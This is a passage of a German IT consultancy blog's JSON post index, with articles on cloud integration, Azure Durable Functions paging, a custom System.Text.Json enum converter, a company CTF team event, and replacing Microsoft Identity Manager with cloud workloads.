Unternehmen aus verschiedenen Branchen und unterschiedlicher Größe. Wir setzen auf Integrationsarchitekturen der Microsoft-Technologien, auf deren Basis wir eine Enterprise-Integration-Plattform aufbauen (Integrationsplattform).\nAPI-Integration: hybrid oder in der Cloud Die Verbindung der verschiedenen Systeme und Datenquellen im Unternehmen wird unter anderem über APIs (Programmierschnittstellen) hergestellt. Jede Cloud-Integration beinhaltet dementsprechend auch eine API-Integration, also die Vernetzung von Systemen über Programmierschnittstellen. Eine API-Integration kann sowohl hybrid, als auch zwischen Cloud-Systemen nötig sein. Je nach Datenmodell und Architektur von On-premise-Systemen kann die Datenverwaltung bei hybriden API-Integrationen komplex werden. Auch hier liegt die Lösung in modernen Integrationsplattformen. Bei großen und komplexen Multi-Cloud-Projekten mit mehreren Systemen, Stakeholdern und Abhängigkeiten ist es sinnvoll, die Cloud-Integration in Schritte zu unterteilen, die nacheinander umgesetzt werden. Der Vorteil: Systeme sowie Kapazitäten und Kompetenzen im Unternehmen können je nach Bedarf allokiert werden.\nAll unsere Leistungen rund um Cloud-Integration: hier Wir beraten Unternehmen verschiedener Branchen zur individuellen Cloud-Integration und zur Digitalstrategie, nutzen Standards und erweitern sie bei Bedarf mit individuell entwickelten Lösungen. Eine unverbindliche erste Beratung bekommen Sie in einem Telefonat mit uns. Jetzt Erstgespräch anfragen Erfolgreiche Cloud-Integrationsprojekte Nachfolgend finden Sie Erfolgsgeschichten unserer bereits erfolgreich umgesetzten Cloud-Integrationsprojekte:\nIntegrationsplattform auf Basis des Azure API Managements für den Industrieversicherer HDI Global SE Cloud Operations für die Digital Charging Solutions GmbH Zukunftsorientierte Synchronisation CRM- mit ERP-Systemen für Kaiser+Kraft ","date":"15. Februar 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/was-ist-cloud-integration_hu45b6f00fc7702293d11d22bb8f6be0c9_99021_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/was-ist-cloud-integration_hu45b6f00fc7702293d11d22bb8f6be0c9_99021_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/was-ist-cloud-integration/","tags":["azure"],"title":"Was ist Cloud Integration?"},{"categories":["How to"],"contents":"Mit der Einführung von Azure Durable Function können neue Anwendungsfälle mithilfe von Azure Functions umgesetzt werden. Die Dokumentation von Microsoft bietet hierzu bereits einen guten Einblick und Einstieg in die Entwicklung. Zu den dargestellten Anwendungsmuster gehört z.B. die Funktionsverkettung (Function Chaining), also die Abfolge von Funktionen in einer Reihenfolge oder das Auffächern (fan out/) also der parallelen Ausführung von Funktionen.\nSzenario Wenn eine API verwendet wird, um die Daten abzurufen (GET) und diese wiederum nur den Abruf von Batches, also einer bestimmten Anzahl von Datensätzen pro Aufruf, erlaubt. Die API wiederum liefert neben dem eigentlichen Payload auch eine Information mit, ob noch weitere Daten abgerufen werden können. Es wird also ein Mechanismus benötigt, der die entsprechende API so oft aufruft, bis alle Daten abgerufen worden sind. Hierbei besteht die Herausforderung darin, dass der Umfang der Datenmenge unbekannt ist. Der Einsatz der klassischen Azure Function ist hier leider nur bedingt zu empfehlen. So kann eine solche Logik realisiert werden, allerdings funktioniert das nur so lange, bis der 10-Minuten-Timeout erreicht wird, da der Aufrufer so lange auf eine Antwort warten muss. Somit wäre das nur eine temporäre, aber nicht nachhaltige Lösung.\nDie Funktionsverkettung der Azure Durable Functions bietet hier eine Lösungsmöglichkeit für das Problem.\nFunktionsverkettung mit unbekannter Größe Für die komplette Umsetzung werden drei Bereiche betrachtet. Zum einen muss der eigentliche Service angepasst werden, um ein Batchweises Abrufen von Daten zu ermöglichen und um den Startpunkt (also die erste ID der Entität) zu definieren. Zum anderen muss die aufrufende Activity prüfen, ob weitere Daten abgerufen werden können und zuletzt muss eine entsprechende Schleife im Orchestrator implementiert werden.\nHTTP-Service Unser angepasster Service nimmt nun als Parameter eine batchSize für die Anzahl der abzurufenden Datensätze entgegen, welcher sich idealerweise an der oberen Grenze der Drittanbieter-API orientiert. Zusätzlich wird als weiterer Parameter die afterId angegeben. Mit dieser kann angegeben werden, ab welcher ID der jeweiligen Entität erneut ein weiterer Batch abgerufen werden soll. Der erste Aufruf wird mit afterId und dem Wert 0 durchgeführt, somit wird der erste Batch abgerufen.\nIn diesem Code-Sample stammt die Info der afterId aus dem Header. Je nachdem wie die Drittanbieter API diese Information zurückliefert, muss diese auch entsprechend abgerufen werden.\nAls Antwort gibt der Service ein Tupel aus einem Long (afterId) und dem tatsächlichen Result-Set der Entität zurück.\npublic async Task\u0026lt;Tuple\u0026lt;long, List\u0026lt;MyEntity\u0026gt;\u0026gt; GetAllEntities(int batchSize, long afterId) { var after = string.Empty; if(afterId \u0026gt;= 0) { after = \u0026#34;\u0026amp;after=\u0026#34; + afterId; } // Abruf aller Datensätze var response = await this.httpClient.GetAsync(new Uri(this.requestUri) \u0026#34;\u0026amp;limit=\u0026#34; + batchSize + after); // Deserialize var responseResultJson = response.Content.ReadAsStringAsync()?.Result; var responseResultList = JsonConvert.DeserializeObject\u0026lt;List\u0026lt;MyEntity\u0026gt;\u0026gt;(responseResultJson); HttpHeaders headers = response.Headers; IEnumerable\u0026lt;long\u0026gt; headerValues; long afterIdResponse = 0; if (request.Headers.TryGetValues(\u0026#34;X-AfterID\u0026#34;, out headerValues)) { afterIdResponse = headerValues.FirstOrDefault(); } return Tuple.Create(responseResultList, afterIdResponse); } Durable Activity Nun kann die Activity soweit angepasst werden, als dass diese nun die afterId und den Boolean-Wert hasPaging an den Service weitergibt. Die Activity ermittelt nun, ob noch weitere Datensätze abgerufen werden können und gibt diese Information in Form des Boolean-Werts hasPaging an den Orchestrator zurück. Außerdem wird die afterId ebenfalls zurückgegeben. Beide Werte werden in einer neuen Datenstruktur (DurableChain) gespeichert.\npublic class DurableChain { public long AfterId { get; set; } public bool HasPaging { get; set; } } Die Activity ermittelt, ob weitere Datensätze abgerufen werden können und speichert diese in der DurableChain-Property HasPaging und gibt sowohl das DurableChain-Objekt, als auch die eigentliche Result-Liste der Entitäten zurück.\n[FunctionName(\u0026#34;GetMyEntities_Activity\u0026#34;)] public async Task\u0026lt;Tuple\u0026lt;DurableChain, List\u0026lt;CrmContact\u0026gt;\u0026gt;\u0026gt; GetAllContacts([ActivityTrigger] IDurableActivityContext context) { var durableChain = context.GetInput\u0026lt;DurableChain\u0026gt;(); var result = await this.contactService.GetAllDurableAsync(100, durableChain.AfterId); durableChain.AfterId = result.Item2; var myEntitiesList = result.Item1.ToList(); durableChain.HasPaging = myEntitiesList.Count() == 100; return Tuple.Create(durableChain, myEntitiesList); } Durable Orchestrator Am Ende muss die Activity in der Orchestrator-Function noch korrekt aufgerufen werden. Die DurableChain wird für den ersten Aufruf vorbereitet: AfterId wird auf 0 und HasPaging auf false gesetzt.\nDie Property HasPaging ist die Basis für die verwendete Do-While-Schleife. Solange die Eigenschaft auf true gesetzt ist, wird die Schleife ausgeführt und ruft im Zusammenspiel mit der Activitiy alle Datensätze auf.\n[FunctionName(\u0026#34;GetMyEntities_Activity_DurableFunction\u0026#34;)] public async Task\u0026lt;IList\u0026lt;MyEntity\u0026gt;\u0026gt; RunOrchestrator( [OrchestrationTrigger] IDurableOrchestrationContext context) { var output = new List\u0026lt;MyEntity\u0026gt;(); // Settings for first batch var durableChain = new DurableChain { AfterId = 0, HasPaging = false, }; do { var activity = await context.CallActivityAsync\u0026lt;Tuple\u0026lt;DurableChain, List\u0026lt;MyEntity\u0026gt;\u0026gt;\u0026gt;(\u0026#34;GetMyEntities_Activity\u0026#34;, DurableChain); DurableChain = activity.Item1; var resultList = activity.Item2; output.AddRange(resultList); } while(resultList.HasPaging); // HasPaging will be false, once all Batches will be retrieved return output; } Durch das await-Schlüsselwort wird zunächst jeder Aufruf auf die Activity Awaited und die Rückgabewerte (insbesondere AfterId) als Basis für den nächsten Aufruf verwendet. Hierdurch kann eine Funktionsverkettung mit unbekannter Länge bzw. unbekannter Anzahl an Aufrufen umgesetzt werden.\n","date":"26. Januar 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/azure-durable-functions_huc4123a14080aa9e3ca34df72ece55618_170679_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/azure-durable-functions_huc4123a14080aa9e3ca34df72ece55618_170679_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/funktionsverkettung-mit-azure-durable-functions/","tags":[".net","backend"],"title":"Funktionsverkettung mit Azure Durable Functions"},{"categories":["Insights"],"contents":"Wir bei Objektkultur atmen nicht nur IT, sondern leben auch eine ausgeprägte Firmenkultur. Dazu gehören regelmäßige Teamevents, bei denen wir voneinander lernen und gemeinsam Spaß haben. Wie könnte sich das besser vereinen lassen, als sich zusammen an ein paar Hacking-Challenges die Zähne auszubeißen? - Dachte ich mir und rief OKHack ins Leben. Gemeinsam mit einigen interessierten Kollegen nahmen wir im Rahmen dieses Teamevents erstmalig als OK gemeinsam an einem CTF-Event teil. Mit einem tollen Ergebnis!\nWas ist ein CTF? Die Abkürzung steht für Capture-the-Flag und hinter dem Begriff verbergen sich legale und spielerisch aufgebaute Hacking-Wettbewerbe. Es gilt in der vorgegebenen Zeit (meist 24h oder 48h) alleine oder im Team so viele verschiedene Aufgaben rund um IT-Security und Hacking zu lösen, wie möglich. Das kann das Analysieren von Netzwerkmitschnitten nach einem simulierten Angriff auf ein fiktives Unternehmen bedeuten, das Finden und Ausnutzen einer Schwachstelle auf einer gestellten Website oder auch das Entschlüsseln kryptografisch verschlüsselter Inhalte. Je nach Schwierigkeitsgrad werden Punkte vergeben. Das Team mit den meisten Punkten am Ende der Veranstaltung gewinnt. Organisiert werden die Events meistens von bekannten CTF-Teams oder IT-Unternehmen, u.a. auch von Google.\nWas wir dabei lernen Die Digitalisierung schreitet unaufhaltsam voran und Sicherheit in der IT gewinnt damit immer mehr an Bedeutung. Nicht zuletzt aufgrund der aktuellen Weltlage sind fast alle Unternehmen weltweit ständigen Bedrohungen durch Angriffe auf ihre Systeme und Infrastruktur von innen und außen ausgesetzt. Das Honeypot-Netzwerk der Telekom visualisiert das in einem Live-Ticker ziemlich eindrucksvoll. Wir als IT- und Softwaredienstleister implementieren diese Systeme und Programme bei unseren Kunden. Dabei achten wir gemäß der DevSecOps-Philosophie auch schon während der Entwicklung auf die Sicherheit unserer Produkte und Prozesse, um Angreifern einen Schritt voraus zu sein. Eine Möglichkeit das zu tun, ist sich selbst in die Rolle des Angreifers zu begeben, um Sicherheitslücken aufzudecken und auszunutzen - gemäß dem DevSecOps-Manifesto :\nWe won\u0026rsquo;t simply rely on scanners and reports to make code better. We will attack products and services like an outsider to help you defend what you\u0026rsquo;ve created. We will learn the loopholes, look for weaknesses, and we will work with you to provide remediation actions instead of long lists of problems for you to solve on your own.\nCTF-Events bieten eine großartige Möglichkeit, das in der Praxis zu trainieren und diese Skills zu verfeinern. Sie schärfen den Blick für Sicherheit und sicheren Code und es werden gängige Angriffsvektoren, Sicherheitslücken und Denkmuster kennengelernt - und das in einem spielerischen Umfeld mit kompetitivem Charakter.\nWas verstehen wir bei Objektkultur unter DevSecOps? Hier den Blogbeitrag dazu lesen. pingCTF 2022 \u0026hellip; war das erste CTF, an dem wir als OK im Dezember letzten Jahres teilgenommen haben. Dabei konnten wir durch das Lösen verschiedener Aufgaben vor allem in den Bereichen Kryptographie, Web-Hacking und Reverse Engineering einen überraschend guten 6. Platz in den Top-Ten belegen. Danke an das PING-CTF-Team der Universität Danzig an der Stelle für die Organisation des Events und der Challenges!\nWir hatten viel Spaß mit den Herausforderungen, haben den Abend noch mit einem gemeinsamen Abendessen ausklingen lassen und freuen uns schon auf die kommenden CTF-Events im neuen Jahr 2023 und den nächsten OKHack!\n","date":"11. Januar 2023","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/the-okhack_hufd2790988b4131cb23ee69ea0915d0a7_111903_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/the-okhack_hufd2790988b4131cb23ee69ea0915d0a7_111903_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/okhack-ctf-event-wie-wir-uns-spielerisch-verbessern/","tags":["devsecops","security"],"title":"OKHack CTF-Event - wie wir uns spielerisch verbessern"},{"categories":["How to"],"contents":"Mithilfe von OpenAPI können Endpunkte und Schnittstellen bereits sehr gut dokumentiert werden. Aufrufer erhalten hierdurch nicht nur eine Einsicht, wie ein Aufruf abläuft, sondern können die Endpunkte direkt testen. Der Umgang mit Enum-Werten bringt hier insbesondere im Zusammenhang mit dem Nuget Package System.Text.Json zur De- und Serialisierung von JSON größere Herausforderungen mit sich. Immerhin lässt sich durch die Konfiguration der JsonSerializerOptions festlegen, dass nicht nur Zahlen aus dem Payload als Enum-Werte erkannt werden, sondern angegebene Texte auch entsprechend auf einen Enum-Wert gemappt werden kann (über die Angabe des JsonStringEnumConverter-Konverters in den JsonSerializerOptions).\nLimitierung der Serialisierung von Enum-Werten Und hier geraten wir auch schon an die Grenzen der Deserialisierung. Wie verhält sich die Serialisierung bei Werten, die nicht zugeordnet werden können? Ganz einfach, der Serializer von System.Text.Json wirft einen Fehler bei der Deserialisierung:\nSystem.Text.Json.JsonException : The JSON value could not be converted to OKBlog.OKBlogCategories Path: $.oKBlogCategoriesEnum | LineNumber: 0 | BytePositionInLine: 331. Sicherlich kann man diese Exception einfach an den Aufrufer zurück geben, allerdings ist hierdurch unklar, was letztlich der Fehler war. Auch kennt der Aufrufer dadurch nicht die zugelassen Werte für das Enum-Attribut.\nLösungsweg Somit möchten wir als Entwickler eine Lösung bereitstellen, welche mit fehlerhaften Angaben für Enum-Werte umgehen kann und dem Aufrufer zugelassene Werte für das Enum-Attribut zurückliefert.\nHierfür muss zunächst einmal die Serialisierung soweit angepasst werden, sodass kein Fehler entsteht, sondern auf ein Defaultwert zurückgegriffen werden kann (Fallback). Zum anderen kann mithilfe eines Validators (FluentValidation) geprüft werden, ob dieser Defaultwert gesetzt worden ist und entsprechend darauf reagieren.\nDefaultvalue-Mapping Als Basis für unser Szenario definieren wir zunächst ein Enum, welche die Kategorien des OKBlogs abbildet. Was hier direkt auffällt, ist der Konstantenwert Unknown, welcher als erster Eintrag definiert ist. Da Enums per Definition Null-basierend sind, hat der erste Wert den Wert 0, der zweite die 1 usw. Dass wir hier auch selbst ganzzahlige Werte den Konstantenwerten zuweisen können, lassen wir hierbei außer Acht.\npublic enum OKBlogCategories { /// \u0026lt;summary\u0026gt; /// Defaultvalue /// \u0026lt;/summary\u0026gt; Unknown, /// \u0026lt;summary\u0026gt; /// How-To /// \u0026lt;/summary\u0026gt; HowTo, /// \u0026lt;summary\u0026gt; /// Insights /// \u0026lt;/summary\u0026gt; Insights, /// \u0026lt;summary\u0026gt; /// Quick-Tipps /// \u0026lt;/summary\u0026gt; QuickTipps, /// \u0026lt;summary\u0026gt; /// Serien /// \u0026lt;/summary\u0026gt; Serien } Nun muss ein Custom-Converter implementiert werden. System.Text.Json bietet wie Eingangs erwähnt bereits Out-of-the-Box einige Konverter, die für die De-/Serialisierung verwendet werden können. Hierzu gehört u.a. der JsonStringEnumConverter. Gleichzeitig existiert die Möglichkeit, eigene benutzerdefinierte (Custom) Konverter zu erstellen.\nHierzu erbt der Custom-Konverter von JsonConverter samt Typen, für welchen der Converter gilt. Im Konverter müssen dann folgende Methoden überschrieben und implementiert werden:\nCanConvert\nIn dieser Methode wird geprüft, ob das eingegebene Objekt mit dem Custom-Konverter behandelt werden muss. Da wir uns hier lediglich auf Enum-Werte fokussieren möchten, wird genau hierauf geprüft (type.IsEnum). Read\nDie Read-Methode repräsentiert die Deserialisierung des Payloads. Hierbei werden drei Funktionen abgebildet: Eingabe String-Token zum Enum-Wert mappen Eingabe Zahlen-Token zum Enum-Wert mappen Fallback, falls keine der zwei vorherigen Funktionen erfolgreich waren, wird ein Defaultwert gesetzt. In diesem Fall immer der erste des Enums. Write\nIn der Write-Methode wird die Serialisierung des Payloads abgebildet. In diesem Fall werden die Enum-Werte als String ausgegeben. Die vollständige Implementierung des Konverters ist im Folgenden zu sehen:\nnamespace OkBlog.Samples.Json.Serialization { using System; using System.Linq; using System.Text.Json; using System.Text.Json.Serialization; public class EnableDefaultValueEnumConverter : JsonConverter\u0026lt;object\u0026gt; { public override bool CanConvert(Type objectType) { Type type; if(objectType.IsGenericType \u0026amp;\u0026amp; objectType.GetGenericTypeDefinition() == typeof(Nullable\u0026lt;\u0026gt;)) { type = Nullable.GetUnderlyingType(objectType); } else { type = objectType; } return type.IsEnum; } public override object Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) { var isTypeNullable = typeToConvert.IsGenericType \u0026amp;\u0026amp; typeToConvert.GetGenericTypeDefinition() == typeof(Nullable\u0026lt;\u0026gt;); var enumType = isTypeNullable ? Nullable.GetUnderlyingType(typeToConvert) : typeToConvert; var enumValueNames = Enum.GetNames(enumType); // Enum-String-Case if(reader.TokenType == JsonTokenType.String) { var readerEnumText = reader.GetString(); if(!string.IsNullOrEmpty(readerEnumText)) { var matchedEnumValue = enumValueNames .Where(x =\u0026gt; string.Equals(x, readerEnumText, StringComparison.OrdinalIgnoreCase)) .FirstOrDefault(); if(matchedEnumValue != null) { return Enum.Parse(enumType, matchedEnumValue); } } } // Enum-Number-Case if(reader.TokenType == JsonTokenType.Number) { var enumIntValue = reader.GetInt32(); var enumValuesArr = (int[])Enum.GetValues(enumType); if(enumValuesArr.Contains(enumIntValue)) { return Enum.Parse(enumType, enumIntValue.ToString()); } } // Enum-Default-Value-Case if(!isTypeNullable) { return Enum.Parse(enumType, enumValueNames.First()); } return null; } public override void Write(Utf8JsonWriter writer, object value, JsonSerializerOptions options) { writer.WriteStringValue(value.ToString()); } } } In den JsonSerializerOptions muss der neue Konverter hinzugefügt werden.\npublic static JsonSerializerOptions MyOkBlogSerializerOptions =\u0026gt; new JsonSerializerOptions { // Settings Converters = { new EnableDefaultValueEnumConverter(), } }; Bei der De-/Serialisierung ist lediglich darauf zu achten, dass die MyOkBlogSerializerOptions entsprechend als Parameter übergeben wird.\nvar myTObject = JsonSerializer.Deserialize\u0026lt;T\u0026gt;(jsonString, MyOkBlogSerializerOptions); Validierung mit Fluent Validation Um dem Aufrufer eine entsprechende Antwort zurück zu liefern, verwenden wir FluentValidation. Mithilfe von FluentValidation können umfangreiche und einfach zu pflegende Validierungsregeln für die API-Entwicklung verwendet werden. Hierbei wird auf das Fluent Builder Pattern gesetzt, um auch mehrere Validierungen auf ein bestimmtes Attribut anzuwenden.\nFür unseren konkreten Fall, möchten wir nun prüfen, ob der konvertierte Wert den Enum-Wert Unknown besitzt und wir entsprechend einen Fehler ausgeben, welcher die Ausprägungsmöglichkeiten des Enums zurückliefert.\nnamespace OkBlog.Samples.Json.Validator { using OkBlog.Samples.Json.Enum; using FluentValidation; public class OKBlogValidator : AbstractValidator\u0026lt;OKBlog\u0026gt; { public OKBlogValidator() { this.RuleFor(x =\u0026gt; x.OKBlogCategoriesEnum).NotNull().NotEqual(OKBlogCategories.Unknown) .WithMessage($\u0026#34;Type should be \u0026#39;{nameof(OKBlogCategories.HowTo)}\u0026#39; or \u0026#39;{nameof(OKBlogCategories.Insights)}\u0026#39; or \u0026#39;{nameof(OKBlogCategories.QuickTipps)}\u0026#39; or \u0026#39;{nameof(OKBlogCategories.Serien)}\u0026#39;\u0026#34;); } } } Nun kann der Validator für die Prüfung der Enum-Werte verwendet und entsprechende Fehler an den Aufrufer zurückgegeben werden.\nDiese Funktionalität lässt sich sehr gut in das von mir vorgestellte Best-Practice zur Entwicklung von Web APIs mit Azure Functions integrieren und nutzen.\nFazit Die Nutzbarkeit der API wird durch den Custom-Enum-Konverter gesteigert und der Aufrufer erhält somit mehr Einsicht in das Fehlermanagement und kann den Aufruf entsprechend anpassen.\n","date":"14. Dezember 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/json-enum-defaultvalue_huab1b15ee2df7210be9ef3e269bc9a440_7048278_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/json-enum-defaultvalue_huab1b15ee2df7210be9ef3e269bc9a440_7048278_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/unknown-enum-validieren-von-enum-werten-mit-system.text.json/","tags":[".net","backend"],"title":"Unknown Enum: Validieren von Enum-Werten mit System.Text.Json"},{"categories":["Insights"],"contents":"Microsoft Identity Manager (MIM): Erweiterter Support läuft 2029 aus – mit Microsoft Entra jetzt schrittweise umstellen: Wie kann der MIM ersetzt werden? Welche technischen Lösungen gibt es?\nQuo Vadis, Microsoft Identity Manager? Viele große Unternehmen setzen den Microsoft Identity Manager (MIM) als zentrales Tool für die Verwaltung ihrer digitalen Identitäten ein. Der MIM bietet ein über Jahre im langjährigen Unternehmenseinsatz bewährtes Software-Paket, das das Management von Identitäten aus einem Quell-System – in der Regel handelt es sich um ein HR-Tool wie etwa Workday oder SuccessFactors - in eines oder mehrere Zielsysteme übernimmt. Hier zählt das Active Directory zu den Standard-Datensenken. Der MIM verfügt dabei über zahlreiche Funktionalitäten, um Nutzer und Gruppen in einem integrierten System entlang des typischen Starter-Mover-Leaver Identitäts-Lebenszyklus abzubilden.[1] So weit, so sinnvoll.\nUnd wo ist das Problem? Im Kern liegt die Schwierigkeit des MIM darin, dass er sowohl konzeptionell als auch technisch als reines OnPremises-Tool aufgesetzt wurde und von Microsoft seit Anfang 2021 nicht mehr weiterentwickelt wird. Auch wenn das offizielle Supportende vor kurzem ins Jahr 2029 nach hinten verschoben wurde, ist klar, dass in einer zukunftsgerichteten Identity-Architektur der MIM keine Rolle mehr spielen wird. Unternehmen werden nicht umhin kommen, den MIM in den Ruhestand zu schicken.\nDies zeigt sich in der Praxis in nicht mehr zeitgemäßen täglichen Synchronisierungs-Intervallen. Dies kann beispielsweise dazu führen, dass ein Mitarbeiter, der das Unternehmen verlassen muss, im HR-System am Montagmorgen gesperrt wird und den Zugriff auf sämtliche Unternehmens-Ressourcen unverzüglich verlieren sollte. Durch den täglichen Synchronisierungs-Intervall erfolgt dies jedoch in der Nacht von Montag auf Dienstag, sodass der Nutzer erst am Folgetag die Zugriffsrechte entzogen bekommt und noch beinahe 24 Stunden lang Zeit hat auf Unternehmensdaten zuzugreifen.\nSystem für Identity \u0026 Access Management einführen – Diese Faktoren müssen Sie beachten! Jetzt Checkliste herunterladen! Die Komplexität der IDM-Prozesse, die durch den MIM verwaltet werden, erschwert eine einfache Migration in Richtung einer einzelnen cloudbasierten Anwendung, die darüber hinaus am Markt einfach nicht existiert – weder von Microsoft noch von einem spezialisierten Software-Provider. So entsteht überspitzt formuliert der unten abgebildete Kampf David (repräsentiert durch cloudbasierte Identity-Tools wie das Azure AD) gegen Goliath (mit dem MIM im Verbund mit dem lokalen Active Directory).\nIdentity Management OnPremises vs. Cloud - ein Kampf David gegen Goliath?\nWelche Strategie verfolgen wir bei Objektkultur? Um trotz des Status Quo eine zukunftsgerichtete Perspektive zur automatisierten Verwaltung digitaler Identitäten aufzeigen zu können, verfolgt Objektkultur konsequent eine Cloud-First IDM-Strategie gemeinsam mit seinen IDM-Kunden. Doch was bedeutet das in der Praxis?\nDies bedeutet zunächst einmal die konsequente Ausrichtung sämtlicher Neu-Entwicklungen und Prozess-Optimierungen am Cloud First-Paradigma. Wir bauen daher keine neue Komplexität in den MIM in Form von Extensions ein, sondern verlagern IDM-Workloads in Richtung Cloud-Technologien und - Schnittstellen. Zuvorderst haben sich in diesem Zusammenhang Azure Functions bewährt. Diese erlauben es dem IDM-Entwickler, sich - gemäß des Serverless Computing-Paradigmas - auf die Business-Logik der Anforderung zu konzentrieren, während die Cloud-Infrastruktur durch Microsoft gemanagt wird.\nSo geht\u0026rsquo;s: IAM einführen in 9 Schritten - Jetzt Checkliste herunterladen! Um diese Strategie mit Leben zu füllen, möchte ich aus meinem Projektalltag einen konkreten Workload vorstellen, der bei einem unserer IDM-Kunden - einem international tätigen Chemie-Unternehmen – produktiv im Einsatz ist.\nAutomatisiertes Service Desk User Onboarding In unserem Kundenszenario werden neue Mitarbeiter 14 Tage vor ihrem Vertragsbeginn im HR-System angelegt und über den MIM in Richtung AD und Azure AD provisioniert. Damit der Vorgesetzte sich rechtzeitig um die Arbeitsausstattung (Hardware / Lizenzen) des neuen Kollegen kümmern kann, haben wir gemeinsam mit unserem Kunden einen automatisierten Onboarding-Prozess etabliert, bei dem für jedes neue Nutzerobjekt im Azure AD automatisiert ein Ticket in Freshservice, dem cloudbasierten Service-Desk Tool des Kunden, angelegt wird. Der technische Prozess umfasst ausschließlich cloudbasierte Tools und Schnittstellen und ist im folgenden Schaubild dargestellt:\nErstellen eines Onboarding Requests im Service Desk-Tool\nDie FunctionApp wird intervallbasiert alle vier Stunden ausgeführt und prüft zunächst per Graph-Abfrage, ob neue interne Mitarbeiter im Azure AD vorhanden sind. Für alle neuen Mitarbeiter durchläuft die App dann die folgenden Schritte:\nHole alle für den Onboarding-Request nötigen Attribute aus dem Azure AD Nutzerobjekt per Graph API Um die ID der Nutzer-Location zu bekommen, erfolgt eine GET-Abfrage gegen die API des Service Desk-Tools Validiere, ob alle Pflichtattribute für das Nutzerobjekt gefüllt sind. Der finale Onboarding Request wird per POST-Methode an die Service Desk-API gesendet. Im Azure AD wird für den Benutzer ein Flag in einem Extension Attribute gesetzt, damit für diesen Nutzer kein weiterer Onboarding-Request mehr erfolgen wird. Die wichtigsten Take-Aways Neben diesem Service Desk-Workload haben wir bei dem beschriebenen Kunden im Jahr 2022 mehrere Cloud-Workloads umgesetzt und hier primär Azure FunctionApps sowie PowerApps in Kombination mit SharePoint Online und anderer O365-Features eingesetzt.\nSo konnten wir es schaffen, die Komplexität des MIM trotz diverser Prozess-Automatisierungen insgesamt zu reduzieren, während sich die Zugriffe per Graph API auf das Azure AD vervielfachten.\nEine der wichtigen Erkenntnisse war an dieser Stelle, dass es schon ab dem zweiten Workload wichtig ist sich zu übergreifenden Function App-Strukturen Gedanken zu machen. So wird sichergestellt, dass die implementierten Lösungen skalierbar und wartbar bleiben. Dies kann zum Beispiel dadurch gewährleistet werden, dass man globale Konfigurationswerte in eine übergeordnete Instanz auslagert und nur die Workload-spezifischen Konfigurationen in der Function App verbleiben. Auch eine intelligente Strukturierung der zum Speichern von ClientSecrets und Zertifikaten genutzten Azure KeyVaults kann einem doppelte Konfigurations-Arbeit ersparen.\nDes Weiteren haben wir in den Tiefen der Benutzerverwaltung an verschiedenen Stellen gelernt, dass der Microsoft Graph hier bei weitem noch nicht auf dem Funktionsstand ist, wie es der bisherige Standard Azure AD Graph nach wie vor ist.[2] So sind manche standardmäßigen Filter-Bedingungen bisher nur mit Workarounds oder mithilfe der nicht für eine produktive Nutzung empfohlenen Beta-Version der Graph API realisierbar.\nSystem für Identity \u0026 Access Management einführen – Diese Faktoren müssen Sie beachten! Jetzt Checkliste herunterladen! Die Zukunft des Cloud-First Identity Management Richten wir den Blick weiter in die Zukunft, erwarten uns in den kommenden Monaten und Jahren viele spannende Features auf Basis der in diesem Jahr neu eingeführten Microsoft-Entra-Plattform . So werden die aktuell in Public Preview-Status befindlichen Lifecycle Workflows den oben beschriebenen Kundencase weiter vereinfachen, indem man konfigurativ und mithilfe von vorgefertigten Szenarien den Starter-Prozess basierend auf der Provisionierung des Nutzers im Azure AD automatisieren kann. Erweiterte Business-Logik, wie das Erstellen eines Service Requests im ITSM-Tool, lässt sich durch das zusätzliche Einbinden einer Logic App leichtgewichtig implementieren.\nSo wird in der IDM-Praxis künftig eine eine mehrgleisige Strategie an Bedeutung gewinnnen, indem man einerseits die neuen Funktionalitäten auf Basis der Microsoft-Entra-Plattform einsetzt. Zum anderen werden aber auch vollständig Eigenentwicklungen mittels Azure Function Apps-basierte Workloads weiter eine große Rolle spielen, um langfristig alle Business-Logik aus dem MIM herauszulösen und diesen beim Kunden final abschalten zu können.\nSo geht\u0026rsquo;s: IAM einführen in 9 Schritten - Jetzt Checkliste herunterladen! [1] Dem an einem noch tieferen Einstieg in IDM-Themen interessierten Leser sei an dieser Stelle der überaus lesenswerte Blog-Beitrag meines Kollegen Timo Schweikart zum Thema Identity Lifecycles empfohlen.\n[2] Weshalb es dennoch sinnvoll ist, auf MS Graph zu setzen, verdeutlicht Microsoft im hier verlinkten Migrations-Tutorial .\n","date":"8. Dezember 